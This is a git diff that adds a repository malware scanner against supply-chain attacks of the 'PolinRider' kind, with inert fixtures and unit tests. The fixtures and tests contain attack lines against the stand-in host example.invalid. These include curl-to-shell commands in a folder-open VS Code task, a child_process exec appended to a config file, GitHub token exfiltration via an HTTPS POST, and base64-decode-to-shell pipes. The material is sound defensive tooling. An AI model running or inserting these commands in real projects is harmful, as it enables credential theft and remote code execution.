out.append(Finding( + "SUSP-NEW-BINARY", "WARN", path, 1, + "binary or NUL-containing file added", + )) + if mode is not None and mode & 0o111: + out.append(Finding( + "SUSP-NEW-BINARY", "WARN", path, 1, + "executable-bit file added", + )) + return out + + +def _dependency_map(text: str) -> dict[str, set[str]]: + try: + data = json.loads(text) + except (ValueError, RecursionError): + return {} + if not isinstance(data, dict): + return {} + out: dict[str, set[str]] = {} + for key in DEP_KINDS: + deps = data.get(key) + out[key] = ( + {k for k in deps if isinstance(k, str)} if isinstance(deps, dict) else set() + ) + return out + + +def rule_susp_new_dependency( + path: str, text: str, base_text: str, +) -> list[Finding]: + if not Path(path).name.endswith("package.json"): + return [] + now = _dependency_map(text) + old = _dependency_map(base_text) + out = [] + for kind in DEP_KINDS: + for dep in sorted(now.get(kind, set()) - old.get(kind, set())): + out.append(Finding( + "SUSP-NEW-DEPENDENCY", "WARN", path, _locate_name_line(text, dep), + f"new {kind} entry {dep!r} added — verify legitimacy", + )) + return out + + +def run_diff( + repo: str | Path, base: str, head: str, +) -> tuple[list[Finding], list[str]]: + findings: list[Finding] = [] + scanned: list[str] = [] + for rel in git_changed_files(repo, base, head): + if _excluded_rel(rel): + continue + p = Path(repo) / rel + if p.is_symlink() or not p.is_file(): + continue + try: + st = p.stat() + except OSError as exc: + raise RuntimeError(f"cannot stat {p}: {exc}") from exc + if st.st_size > MAX_FILE_BYTES: + print( + f"diff scan: skipping oversized file (>" + f" {MAX_FILE_BYTES} bytes): {rel}", + file=sys.stderr, + ) + continue + try: + raw = p.read_bytes() + except OSError as exc: + raise RuntimeError(f"cannot read {p}: {exc}") from exc + scanned.append(rel) + findings.extend(rule_susp_new_binary(rel, raw, st.st_mode)) + text = raw.decode("utf-8", "replace") + findings.extend(scan_text(rel, text)) + findings.extend( + rule_susp_new_dependency(rel, text, _git_show_text(repo, f"{base}:{rel}")) + ) + return findings, scanned + + +def run_history(repo: str | Path) -> tuple[list[Finding], list[str]]: + out = _git_run(repo, ["rev-list", "--objects", "--all"]).stdout + oid_path: dict[str, str] = {} + order: list[str] = [] + for line in out.decode("utf-8", "replace").splitlines(): + parts = line.split(" ", 1) + oid = parts[0].strip() + if not re.fullmatch(r"[0-9a-f]{40,64}", oid) or len(parts) < 2: + continue + if oid in oid_path or _excluded_rel(parts[1]): + continue + oid_path[oid] = parts[1] + order.append(oid) + if not order: + return [], [] + check = _git_run( + repo, ["cat-file", "--batch-check"], + stdin=("\n".join(order) + "\n").encode(), + ).stdout + meta: dict[str, tuple[str, int]] = {} + for line in check.decode("utf-8", "replace").splitlines(): + fields = line.split() + if len(fields) >= 3 and fields[0] in oid_path: + meta[fields[0]] = (fields[1], int(fields[2])) + findings: list[Finding] = [] + scanned: list[str] = [] + cache: dict[str, list[Finding]] = {} + for oid in order: + typ, size = meta.get(oid, ("missing", -1)) + if typ != "blob" or size > MAX_FILE_BYTES or oid in cache: + continue + content = _git_run(repo, ["cat-file", "blob", oid]).stdout + cache[oid] = scan_text(oid_path[oid], content.decode("utf-8", "replace")) + scanned.append(oid_path[oid]) + findings.extend(cache[oid]) + return findings, scanned + + +def render_annotations(findings: list[Finding]) -> list[str]: + """GitHub Actions workflow-command lines for each finding.""" + out: list[str] = [] + for f in findings: + level = "error" if f.severity == "BLOCK" else "warning" + out.append(f"::{level} file={f.path},line={f.line}::[{f.rule}] {f.message}") + return out + + +def render_summary(findings: list[Finding], scanned: list[str]) -> str: + """Markdown job summary with tier counts and incident-response pointer.""" + blocks = sum(1 for f in findings if f.severity == "BLOCK") + warns = sum(1 for f in findings if f.severity == "WARN") + lines = [ + "# Malware protection report", + "", + f"Scanned: {len(scanned)} path(s) — BLOCK: **{blocks}**, WARN: **{warns}**", + "", + ] + if findings: + lines.append("## Findings") + lines.append("") + for f in findings: + lines.append(f"- {f.severity} {f.path}:{f.line} {f.rule} — {f.message}") + lines.append("") + if blocks: + lines.extend([ + "## Incident response", + "", + "1. Do not merge — revoke/rotate tokens on the affected machine " + "(GitHub PATs, npm tokens, SSH keys).", + "2. Inspect force-push history (`git reflog`) — PolinRider propagates " + "by force-pushing into writable repos.", + "3. Run `python3 scripts/malware-scan/scan.py --history` locally " + "and see `docs/malware-protection.md`.", + "", + ]) + return "\n".join(lines) + + +def main(argv: list[str] | None = None) -> int: + ap = argparse.ArgumentParser(prog="scan.py") + ap.add_argument("--paths", nargs="+", default=None) + ap.add_argument("--base", default=None, help="base revision for diff mode") + ap.add_argument("--head", default=None, help="head revision for diff mode") + ap.add_argument("--history", action="store_true", + help="scan every unique blob reachable from any ref") + ap.add_argument( + "--allowlist", + default=str(Path(__file__).resolve().parent / "allowlist.json"), + help="suppression list JSON (rule/path/reason entries)", + ) + ap.add_argument("--json-out", default="-", help="'-' for stdout or a file path") + ap.add_argument("--annotations", action="store_true", + help="emit GitHub Actions ::error/::warning lines") + ap.add_argument("--summary", default=None, metavar="PATH", + help="write a Markdown job summary to PATH") + args = ap.parse_args(argv) + try: + allow = load_allowlist(args.allowlist) + mode_paths = args.paths is not None + mode_diff = args.base is not None or args.head is not None + if sum((bool(args.history), mode_diff, mode_paths)) > 1: + raise RuntimeError( + "choose exactly one of --paths, --base/--head, or --history" + ) + if mode_diff and (args.base is None or args.head is None): + raise RuntimeError("--base and --head must be used together") + if args.history: + findings, scanned = run_history(Path.cwd()) + elif mode_diff: + findings, scanned = run_diff(Path.cwd(), args.base, args.head) + else: + scanned = args.paths if args.paths is not None else ["."] + findings = run(scanned) + before = len(findings) + findings = apply_allowlist(findings, allow) + suppressed = before - len(findings) + if suppressed: + print(f"allowlist: suppressed {suppressed} finding(s)", file=sys.stderr) + if args.summary is not None: + Path(args.summary).write_text( + render_summary(findings, scanned), encoding="utf-8" + ) + annotations = render_annotations(findings) if args.annotations else [] + payload = {"findings": [asdict(f) for f in findings], "scanned": scanned} + out = json.dumps(payload, indent=2) + if args.json_out == "-": + # Keep stdout pure JSON; annotations (if any) go to stderr. + print(out) + for line in annotations: + print(line, file=sys.stderr) + else: + Path(args.json_out).write_text(out, encoding="utf-8") + for line in annotations: + print(line) + except Exception as exc: + print(f"scanner error: {exc}", file=sys.stderr) + return 2 + return 1 if any(f.severity == "BLOCK" for f in findings) else 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tests/malware-scan/fixtures/README.md b/tests/malware-scan/fixtures/README.md new file mode 100644 index 0000000..fb6e3d7 --- /dev/null +++ b/tests/malware-scan/fixtures/README.md @@ -0,0 +1,6 @@ +# Test fixtures — INERT + +These files are synthetic samples for scanner unit tests. They are not +functional code: tokens are dummy, and payloads contain no working +exfiltration (non-routable URLs, inert constants) and must never be run. +Do not fix them to run. diff --git a/tests/malware-scan/fixtures/benign/.github/workflows/workflow.yml b/tests/malware-scan/fixtures/benign/.github/workflows/workflow.yml new file mode 100644 index 0000000..516de7c --- /dev/null +++ b/tests/malware-scan/fixtures/benign/.github/workflows/workflow.yml @@ -0,0 +1,8 @@ +name: x +on: pull_request +jobs: + j: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 + - run: echo ok diff --git a/tests/malware-scan/fixtures/benign/.vscode/tasks.json b/tests/malware-scan/fixtures/benign/.vscode/tasks.json new file mode 100644 index 0000000..f808bdd --- /dev/null +++ b/tests/malware-scan/fixtures/benign/.vscode/tasks.json @@ -0,0 +1,6 @@ +{ + "version": "2.0.0", + "tasks": [ + { "label": "test", "type": "shell", "command": "npm test" } + ] +} diff --git a/tests/malware-scan/fixtures/benign/eslint.config.mjs b/tests/malware-scan/fixtures/benign/eslint.config.mjs new file mode 100644 index 0000000..65f3600 --- /dev/null +++ b/tests/malware-scan/fixtures/benign/eslint.config.mjs @@ -0,0 +1,2 @@ +import js from "@eslint/js"; +export default [js.configs.recommended, { rules: { "no-eval": "error" } }]; diff --git a/tests/malware-scan/fixtures/benign/package.json b/tests/malware-scan/fixtures/benign/package.json new file mode 100644 index 0000000..99df44e --- /dev/null +++ b/tests/malware-scan/fixtures/benign/package.json @@ -0,0 +1,8 @@ +{ + "name": "fixture-benign", + "scripts": { + "build": "tsc -p tsconfig.json", + "test": "vitest run", + "postinstall": "echo done" + } +} diff --git a/tests/malware-scan/fixtures/benign/tailwind.config.js b/tests/malware-scan/fixtures/benign/tailwind.config.js new file mode 100644 index 0000000..3574fbd --- /dev/null +++ b/tests/malware-scan/fixtures/benign/tailwind.config.js @@ -0,0 +1,6 @@ +/** @type {import('tailwindcss').Config} */ +module.exports = { + content: ["./src/**/*.{ts,tsx}"], + theme: { extend: {} }, + plugins: [], +}; diff --git a/tests/malware-scan/fixtures/malicious/.github/workflows/injection.yml b/tests/malware-scan/fixtures/malicious/.github/workflows/injection.yml new file mode 100644 index 0000000..076e01a --- /dev/null +++ b/tests/malware-scan/fixtures/malicious/.github/workflows/injection.yml @@ -0,0 +1,8 @@ +name: x +on: issue_comment +jobs: + j: + runs-on: ubuntu-latest + steps: + - run: | + echo "Hello ${{ github.event.issue.title }}" diff --git a/tests/malware-scan/fixtures/malicious/.github/workflows/pwn-request.yml b/tests/malware-scan/fixtures/malicious/.github/workflows/pwn-request.yml new file mode 100644 index 0000000..370fb6b --- /dev/null +++ b/tests/malware-scan/fixtures/malicious/.github/workflows/pwn-request.yml @@ -0,0 +1,10 @@ +name: x +on: pull_request_target +jobs: + j: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + ref: ${{ github.event.pull_request.head.sha }} + - run: npm test diff --git a/tests/malware-scan/fixtures/malicious/.github/workflows/unpinned-secrets.yml b/tests/malware-scan/fixtures/malicious/.github/workflows/unpinned-secrets.yml new file mode 100644 index 0000000..8025459 --- /dev/null +++ b/tests/malware-scan/fixtures/malicious/.github/workflows/unpinned-secrets.yml @@ -0,0 +1,8 @@ +name: x +on: push +jobs: + j: + runs-on: ubuntu-latest + secrets: inherit + steps: + - uses: some/action@v1 diff --git a/tests/malware-scan/fixtures/malicious/.vscode/tasks.json b/tests/malware-scan/fixtures/malicious/.vscode/tasks.json new file mode 100644 index 0000000..c6b3f03 --- /dev/null +++ b/tests/malware-scan/fixtures/malicious/.vscode/tasks.json @@ -0,0 +1,11 @@ +{ + "version": "2.0.0", + "tasks": [ + { + "label": "update", + "type": "shell", + "command": "curl -s http://example.invalid/x.sh | sh", + "runOptions": { "runOn": "folderOpen" } + } + ] +} diff --git a/tests/malware-scan/fixtures/malicious/decode-cmd.txt b/tests/malware-scan/fixtures/malicious/decode-cmd.txt new file mode 100644 index 0000000..42030fd --- /dev/null +++ b/tests/malware-scan/fixtures/malicious/decode-cmd.txt @@ -0,0 +1,2 @@ +some docs text +echo c29tZXRoaW5n | base64 -d | sh diff --git a/tests/malware-scan/fixtures/malicious/entropy.js b/tests/malware-scan/fixtures/malicious/entropy.js new file mode 100644 index 0000000..a8a9bb6 --- /dev/null +++ b/tests/malware-scan/fixtures/malicious/entropy.js @@ -0,0 +1 @@ +const blob = "QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWV"; diff --git a/tests/malware-scan/fixtures/malicious/package-hook/package.json b/tests/malware-scan/fixtures/malicious/package-hook/package.json new file mode 100644 index 0000000..c4d476c --- /dev/null +++ b/tests/malware-scan/fixtures/malicious/package-hook/package.json @@ -0,0 +1,6 @@ +{ + "name": "fixture", + "scripts": { + "postinstall": "node -e \"require('http').get('http://example.invalid')\"" + } +} diff --git a/tests/malware-scan/fixtures/malicious/polin-config-append.config.js b/tests/malware-scan/fixtures/malicious/polin-config-append.config.js new file mode 100644 index 0000000..4a39f85 --- /dev/null +++ b/tests/malware-scan/fixtures/malicious/polin-config-append.config.js @@ -0,0 +1,6 @@ +module.exports = { + content: ["./src/**/*.{ts,tsx}"], +}; +/* trailing block below mimics the PolinRider append pattern */ +var _0x1 = Buffer["from"]("aHR0cDovL2V4YW1wbGUuaW52YWxpZA==","base64")["toString"](); +require("child_process")["exec"]("curl -s http://example.invalid/p | sh"); diff --git a/tests/malware-scan/fixtures/malicious/polin-obfuscated.config.mjs b/tests/malware-scan/fixtures/malicious/polin-obfuscated.config.mjs new file mode 100644 index 0000000..b8c4c3d --- /dev/null +++ b/tests/malware-scan/fixtures/malicious/polin-obfuscated.config.mjs @@ -0,0 +1,2 @@ +export default { plugins: [] }; +eval(String["fromCharCode"](104,116,116,112,115,58,47,47,101,120,97,109,112,108,101,46,105,110,118,97,108,105,100)); diff --git a/tests/malware-scan/fixtures/malicious/stealer-fragment.js b/tests/malware-scan/fixtures/malicious/stealer-fragment.js new file mode 100644 index 0000000..cc23dfd --- /dev/null +++ b/tests/malware-scan/fixtures/malicious/stealer-fragment.js @@ -0,0 +1,2 @@ +const t = process.env.GITHUB_TOKEN || process.env["GH_TOKEN"]; +require("https").request({ hostname: "example.invalid", method: "POST" }).end(t); diff --git a/tests/malware-scan/fixtures/malicious/typosquat-package.json b/tests/malware-scan/fixtures/malicious/typosquat-package.json new file mode 100644 index 0000000..88fc205 --- /dev/null +++ b/tests/malware-scan/fixtures/malicious/typosquat-package.json @@ -0,0 +1 @@ +{ "name": "lodahs", "version": "1.0.0", "dependencies": { "expresss": "^4.0.0" } } diff --git a/tests/malware-scan/test_scan.py b/tests/malware-scan/test_scan.py new file mode 100644 index 0000000..6c7acad --- /dev/null +++ b/tests/malware-scan/test_scan.py @@ -0,0 +1,1639 @@ +import json +import subprocess +import sys +import tempfile +import time +import unittest +from importlib.util import module_from_spec, spec_from_file_location +from pathlib import Path + +REPO = Path(__file__).resolve().parents[2] +SCAN = REPO / "scripts" / "malware-scan" / "scan.py" +FIXTURES = Path(__file__).resolve().parent / "fixtures" + +_spec = spec_from_file_location("scan_mod", SCAN) +scan_mod = module_from_spec(_spec) +sys.modules["scan_mod"] = scan_mod +_spec.loader.exec_module(scan_mod) + + +def run_scan(*args: str) -> subprocess.CompletedProcess: + return subprocess.run( + [sys.executable, str(SCAN), *args], + capture_output=True, + text=True, + cwd=REPO, + ) + + +class TestCliContract(unittest.TestCase): + def test_clean_tree_exits_zero(self): + proc = run_scan("--paths", "src", "--json-out", "-") + self.assertEqual(proc.returncode, 0, proc.stdout + proc.stderr) + + def test_json_output_shape(self): + proc = run_scan("--paths", "src", "--json-out", "-") + data = json.loads(proc.stdout) + self.assertIn("findings", data) + self.assertIn("scanned", data) + + def test_unknown_rule_not_emitted_for_benign_text(self): + proc = run_scan("--paths", "src", "--json-out", "-") + self.assertEqual(json.loads(proc.stdout)["findings"], []) + + def test_unexpected_exception_maps_to_fail_safe_exit_2(self): + proc = run_scan( + "--paths", "src", + "--json-out", "/nonexistent-malware-scan-test-dir/out.json", + ) + self.assertEqual(proc.returncode, 2, proc.stdout + proc.stderr) + self.assertIn("scanner error", proc.stderr) + self.assertNotEqual(proc.returncode, 1) + + def test_missing_path_exits_two(self): + proc = run_scan("--paths", "does-not-exist", "--json-out", "-") + self.assertEqual(proc.returncode, 2, proc.stdout + proc.stderr) + self.assertIn("scanner error", proc.stderr) + + +class TestPathWalking(unittest.TestCase): + def test_iter_scan_paths_returns_files(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + for name in ("a.txt", "b.txt"): + (root / name).write_text("x") + files = scan_mod.iter_scan_paths([str(root)]) + self.assertEqual(files, [root / "a.txt", root / "b.txt"]) + + def test_missing_path_raises_runtime_error(self): + with self.assertRaises(RuntimeError): + scan_mod.iter_scan_paths(["does-not-exist"]) + + def test_symlink_entry_skipped(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + real = root / "real.txt" + real.write_text("hello") + (root / "link.txt").symlink_to(real) + files = scan_mod.iter_scan_paths([str(root)]) + self.assertIn(real, files) + self.assertNotIn(root / "link.txt", files) + + def test_prunes_git_node_modules_pycache(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + keep = root / "keep" / "file.txt" + keep.parent.mkdir() + keep.write_text("keep") + for name in (".git", "node_modules", "__pycache__"): + d = root / name + d.mkdir() + (d / "junk.txt").write_text("junk") + files = scan_mod.iter_scan_paths([str(root)]) + self.assertEqual(files, [keep]) + + def test_skips_oversized_files(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + small = root / "small.txt" + small.write_text("ok") + big = root / "big.bin" + with open(big, "wb") as fh: + fh.truncate(5 * 1024 * 1024 + 1) + files = scan_mod.iter_scan_paths([str(root)]) + self.assertEqual(files, [small]) + + def test_explicit_symlink_root_raises(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + real = root / "real.txt" + real.write_text("hello") + link = root / "link.txt" + link.symlink_to(real) + with self.assertRaises(RuntimeError): + scan_mod.iter_scan_paths([str(link)]) + + def test_explicit_oversized_root_raises(self): + with tempfile.TemporaryDirectory() as td: + big = Path(td) / "big.bin" + with open(big, "wb") as fh: + fh.truncate(5 * 1024 * 1024 + 1) + with self.assertRaises(RuntimeError): + scan_mod.iter_scan_paths([str(big)]) + + def test_paths_mode_scans_component_named_malware_scan_outside_scanner_dirs(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + evil = root / "src" / "malware-scan" / "evil.js" + evil.parent.mkdir(parents=True) + evil.write_text('eval(atob("aGk="));\n', encoding="utf-8") + files = scan_mod.iter_scan_paths([str(root)]) + self.assertEqual(files, [evil]) + findings = scan_mod.run([str(root)]) + hits = [f for f in findings if f.rule == "POLIN-OBFUSCATED-JS"] + self.assertTrue(hits, findings) + self.assertEqual({f.path for f in hits}, {str(evil)}, findings) + self.assertTrue(all(f.severity == "BLOCK" for f in hits), findings) + + def test_paths_mode_skips_scanner_own_directories(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + for d in ("tests", "scripts"): + p = root / d / "malware-scan" + p.mkdir(parents=True) + (p / "x.js").write_text('eval(atob("aGk="));\n', encoding="utf-8") + files = scan_mod.iter_scan_paths([str(root)]) + self.assertEqual(files, []) + self.assertEqual(scan_mod.run([str(root)]), []) + + +class TestFindingContract(unittest.TestCase): + def test_invalid_severity_raises_value_error(self): + with self.assertRaises(ValueError): + scan_mod.Finding("X", "BAD", "path", 1, "bad severity") + + +class TestPolinConfigRules(unittest.TestCase): + def test_config_append_detected(self): + p = FIXTURES / "malicious" / "polin-config-append.config.js" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("POLIN-CONFIG-APPEND", {f.rule for f in found}) + + def test_obfuscated_js_detected(self): + p = FIXTURES / "malicious" / "polin-obfuscated.config.mjs" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("POLIN-OBFUSCATED-JS", {f.rule for f in found}) + + def test_benign_configs_clean(self): + for name in ("tailwind.config.js", "eslint.config.mjs"): + p = FIXTURES / "benign" / name + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertEqual(found, [], name) + + + +class TestPolinConfigAppendGaps(unittest.TestCase): + def test_config_append_plain_curl_tail_detected(self): + text = ( + "module.exports = {\n" + ' content: ["./src/**/*.{ts,tsx}"],\n' + "};\n" + 'require("child_process").exec("curl -s http://example.invalid/p | sh");\n' + ) + found = scan_mod.scan_text("webpack.config.js", text) + self.assertIn("POLIN-CONFIG-APPEND", {f.rule for f in found}) + + def test_config_append_one_liner_module_exports_detected(self): + text = ( + "module.exports = { plugins: [] };\n" + 'require("child_process").exec("curl -s http://example.invalid/p | sh");\n' + ) + found = scan_mod.scan_text("rollup.config.js", text) + self.assertIn("POLIN-CONFIG-APPEND", {f.rule for f in found}) + + def test_config_append_define_config_closing_detected(self): + text = ( + "export default defineConfig({\n" + " plugins: [],\n" + "});\n" + 'require("child_process").exec("curl -s http://example.invalid/p | sh");\n' + ) + found = scan_mod.scan_text("vite.config.js", text) + self.assertIn("POLIN-CONFIG-APPEND", {f.rule for f in found}) + + def test_config_append_comment_only_tail_silent(self): + text = ( + "module.exports = {\n" + ' content: ["./src/**/*.{ts,tsx}"],\n' + "};\n" + "// trailing note mentioning exec and curl | sh for documentation\n" + ) + found = scan_mod.scan_text("tailwind.config.js", text) + self.assertEqual(found, []) + + def test_config_append_trailing_comment_module_end_detected(self): + payloads = ( + ( + "module.exports = {\n" + ' content: ["./src/**/*.{ts,tsx}"],\n' + "}; // end\n" + 'require("child_process").exec("curl -s http://example.invalid/p | sh");\n' + ), + ( + "export default defineConfig({\n" + " plugins: [],\n" + "}); /* x */\n" + 'require("child_process").exec("curl -s http://example.invalid/p | sh");\n' + ), + ) + for text in payloads: + found = scan_mod.scan_text("webpack.config.js", text) + self.assertIn("POLIN-CONFIG-APPEND", {f.rule for f in found}, text) + + def test_config_append_asi_module_exports_detected(self): + text = ( + "module.exports = { plugins: [] }\n" + 'require("child_process").exec("curl -s http://example.invalid/p | sh");\n' + ) + found = scan_mod.scan_text("rollup.config.js", text) + self.assertIn("POLIN-CONFIG-APPEND", {f.rule for f in found}) + + def test_config_append_fetch_post_tail_detected(self): + text = ( + "module.exports = { plugins: [] };\n" + 'fetch("http://example.invalid/collect", { method: "POST" });\n' + ) + found = scan_mod.scan_text("webpack.config.js", text) + self.assertIn("POLIN-CONFIG-APPEND", {f.rule for f in found}) + + def test_config_append_reports_first_suspicious_tail_line(self): + text = ( + "module.exports = { plugins: [] };\n" + "\n" + "\n" + 'require("child_process").exec("curl -s http://example.invalid/p | sh");\n' + ) + found = scan_mod.scan_text("webpack.config.js", text) + append = [f for f in found if f.rule == "POLIN-CONFIG-APPEND"] + self.assertEqual(len(append), 1) + self.assertEqual(append[0].line, 4) + + def test_benign_regex_exec_config_tail_clean(self): + text = ( + "module.exports = { plugins: [] };\n" + "var re = /x/;\n" + "var m = re.exec(str);\n" + ) + found = scan_mod.scan_text("next.config.js", text) + self.assertEqual(found, []) + + +class TestPolinObfuscatedJsGaps(unittest.TestCase): + def test_unescape_feeding_eval_detected(self): + for text in ( + 'var s = unescape("%61%62%63");\neval(s);\n', + 'var s = unescape("%61%62%63"); eval(s);\n', + ): + found = scan_mod.scan_text("payload.js", text) + self.assertIn("POLIN-OBFUSCATED-JS", {f.rule for f in found}, text) + + def test_eval_with_child_process_detected(self): + for text in ( + 'eval(s); require("child_process").exec("id");\n', + 'eval(s);\nrequire("child_process").exec("id");\n', + ): + found = scan_mod.scan_text("payload.js", text) + self.assertIn("POLIN-OBFUSCATED-JS", {f.rule for f in found}, text) + + def test_standalone_long_base64_literal_detected(self): + blob = "QUJD" * 55 + self.assertGreaterEqual(len(blob), 200) + text = 'var k = "%s";\n' % blob + found = scan_mod.scan_text("bundle.js", text) + self.assertIn("POLIN-OBFUSCATED-JS", {f.rule for f in found}) + + def test_standalone_bracket_chain_detected(self): + text = 'var x = obj["alpha"]["beta"]["gamma"];\n' + found = scan_mod.scan_text("plain.js", text) + self.assertIn("POLIN-OBFUSCATED-JS", {f.rule for f in found}) + + def test_eval_with_regex_exec_not_flagged_as_network(self): + for text in ( + "eval(x); re.exec(s);\n", + "eval(x);\nre.exec(s);\n", + ): + found = scan_mod.scan_text("payload.js", text) + self.assertEqual(found, [], text) + + def test_from_charcode_with_set_timeout_clean(self): + text = "var c = String.fromCharCode(227); setTimeout(fn, 100);\n" + found = scan_mod.scan_text("timer.js", text) + self.assertEqual(found, []) + + def test_buffer_from_dot_notation_feeding_eval_detected(self): + text = 'eval(Buffer.from("aGk=", "base64").toString());\n' + found = scan_mod.scan_text("payload.js", text) + self.assertIn("POLIN-OBFUSCATED-JS", {f.rule for f in found}) + + +class TestExecutionVectorRules(unittest.TestCase): + def test_vscode_tasks_curl_to_shell(self): + p = FIXTURES / "malicious" / ".vscode" / "tasks.json" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("POLIN-VSCODE-TASKS", {f.rule for f in found}) + + def test_token_exfil_detected(self): + p = FIXTURES / "malicious" / "stealer-fragment.js" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("STEAL-TOKEN-EXFIL", {f.rule for f in found}) + + def test_malicious_lifecycle_hook(self): + p = FIXTURES / "malicious" / "package-hook" / "package.json" + found = scan_mod.scan_text(str(p), p.read_text()) + self.assertIn("HOOK-MALICIOUS-SCRIPT", {f.rule for f in found}) + + def test_benign_package_and_tasks_clean(self): + for name in ("package.json", ".vscode/tasks.json"): + p = FIXTURES / "benign" / name + self.assertEqual(scan_mod.scan_text(str(p), p.read_text()), [], name) + + +class TestExecutionVectorFalsePositives(unittest.TestCase): + def test_regex_exec_near_token_read_not_flagged(self): + text = ( + "const t = process.env.GITHUB_TOKEN;\n" + "const re = /x/;\n" + "const m = re.exec(t);\n" + ) + found = scan_mod.scan_text("probe.js", text) + self.assertEqual(found, []) + + def test_benign_tee_pipe_not_flagged(self): + for command in ("npm test | tee log", "curl -s http://example.invalid/x.sh | tee log"): + text = ( + "{\n" + ' "version": "2.0.0",\n' + ' "tasks": [\n' + ' { "label": "test", "type": "shell", "command": "%s" }\n' + " ]\n" + "}\n" % command + ) + found = scan_mod.scan_text(".vscode/tasks.json", text) + self.assertEqual(found, [], command) + + +class TestExecutionVectorGaps(unittest.TestCase): + def test_tasks_json_outside_vscode_dir_not_flagged(self): + p = FIXTURES / "malicious" / ".vscode" / "tasks.json" + for path in ("tasks.json", "build/tasks.json"): + found = scan_mod.scan_text(path, p.read_text()) + self.assertEqual(found, [], path) + + def test_non_package_json_with_hook_scripts_not_flagged(self): + text = '{"name": "x", "scripts": {"postinstall": "curl -s http://example.invalid/p | sh"}}\n' + found = scan_mod.scan_text("foo.json", text) + self.assertEqual(found, []) + + def test_token_dot_notation_with_fetch_flagged(self): + text = ( + "const t = process.env.NPM_TOKEN;\n" + 'fetch("http://example.invalid/collect", { method: "POST", body: t });\n' + ) + found = scan_mod.scan_text("probe.js", text) + self.assertIn("STEAL-TOKEN-EXFIL", {f.rule for f in found}) + + def test_token_with_child_process_ls_not_flagged(self): + text = ( + "const t = process.env.GITHUB_TOKEN;\n" + 'require("child_process").execSync("ls");\n' + ) + found = scan_mod.scan_text("probe.js", text) + self.assertEqual(found, []) + + def test_token_with_child_process_curl_exec_flagged(self): + text = ( + "const t = process.env.GITHUB_TOKEN;\n" + 'require("child_process").exec("curl -s http://example.invalid/p | sh");\n' + ) + found = scan_mod.scan_text("probe.js", text) + self.assertIn("STEAL-TOKEN-EXFIL", {f.rule for f in found}) + + def test_persist_credentials_false_near_download_not_flagged(self): + text = ( + " with:\n" + " persist-credentials: false\n" + " - name: Install\n" + " run: |\n" + ' curl -fsSL -o /tmp/t.tar.gz https://example.invalid/t.tar.gz\n' + ) + found = scan_mod.scan_text(".github/workflows/wf.yml", text) + self.assertEqual( + [f for f in found if f.rule == "STEAL-TOKEN-EXFIL"], [], found + ) + + def test_bare_credentials_identifier_still_flagged(self): + text = ( + "const credentials = load();\n" + 'fetch("http://example.invalid/collect", { method: "POST" });\n' + ) + found = scan_mod.scan_text("probe.js", text) + self.assertIn("STEAL-TOKEN-EXFIL", {f.rule for f in found}) + + def test_decode_exec_with_file_operand_flagged(self): + text = ( + "{\n" + ' "version": "2.0.0",\n' + ' "tasks": [\n' + ' { "label": "x", "type": "shell", "command": "base64 -d payload.txt | sh" }\n' + " ]\n" + "}\n" + ) + found = scan_mod.scan_text(".vscode/tasks.json", text) + self.assertIn("POLIN-VSCODE-TASKS", {f.rule for f in found}) + + def test_decode_exec_macos_uppercase_D_flagged(self): + text = ( + "{\n" + ' "version": "2.0.0",\n' + ' "tasks": [\n' + ' { "label": "x", "type": "shell", "command": "base64 -D | sh" }\n' + " ]\n" + "}\n" + ) + found = scan_mod.scan_text(".vscode/tasks.json", text) + self.assertIn("POLIN-VSCODE-TASKS", {f.rule for f in found}) + + +class TestRedosHardening(unittest.TestCase): + def test_200kb_curl_repeat_tasks_json_scans_fast(self): + text = '{"version":"2.0.0","tasks":[{"command":"' + "curl " * 40000 + '"}]}' + self.assertGreaterEqual(len(text), 200_000) + t0 = time.monotonic() + found = scan_mod.scan_text(".vscode/tasks.json", text) + elapsed = time.monotonic() - t0 + self.assertLess(elapsed, 2.0) + self.assertEqual(found, []) + + def test_200kb_curl_repeat_config_tail_scans_fast(self): + text = "module.exports = {};\n" + "curl " * 40000 + "\n" + self.assertGreaterEqual(len(text), 200_000) + t0 = time.monotonic() + found = scan_mod.scan_text("webpack.config.js", text) + elapsed = time.monotonic() - t0 + self.assertLess(elapsed, 2.0) + self.assertEqual(found, []) + + +class TestShellTargetVariants(unittest.TestCase): + @staticmethod + def tasks_json(command: str) -> str: + return ( + "{\n" + ' "version": "2.0.0",\n' + ' "tasks": [\n' + ' { "label": "x", "type": "shell", "command": "%s" }\n' + " ]\n" + "}\n" + ) % command + + def assert_task_fires(self, command: str) -> None: + found = scan_mod.scan_text(".vscode/tasks.json", self.tasks_json(command)) + hits = [f for f in found if f.rule == "POLIN-VSCODE-TASKS"] + self.assertEqual(len(hits), 1, command) + self.assertEqual(hits[0].severity, "BLOCK", command) + + def test_pipe_to_bin_sh(self): + self.assert_task_fires("curl -s http://example.invalid/x.sh | /bin/sh") + + def test_pipe_to_usr_bin_bash(self): + self.assert_task_fires("curl -s http://example.invalid/x.sh | /usr/bin/bash") + + def test_pipe_to_sudo_sh(self): + self.assert_task_fires("curl -s http://example.invalid/x.sh | sudo sh") + + def test_pipe_to_env_sh(self): + self.assert_task_fires("curl -s http://example.invalid/x.sh | /usr/bin/env sh") + + def test_multi_stage_tee_to_sh(self): + self.assert_task_fires("curl -s http://example.invalid/x.sh | tee f | sh") + + def test_tee_only_target_stays_silent(self): + found = scan_mod.scan_text( + ".vscode/tasks.json", + self.tasks_json("curl -s http://example.invalid/x.sh | tee log"), + ) + self.assertEqual(found, []) + + def test_case_insensitive_downloaders_fire(self): + for command in ( + "Curl -s 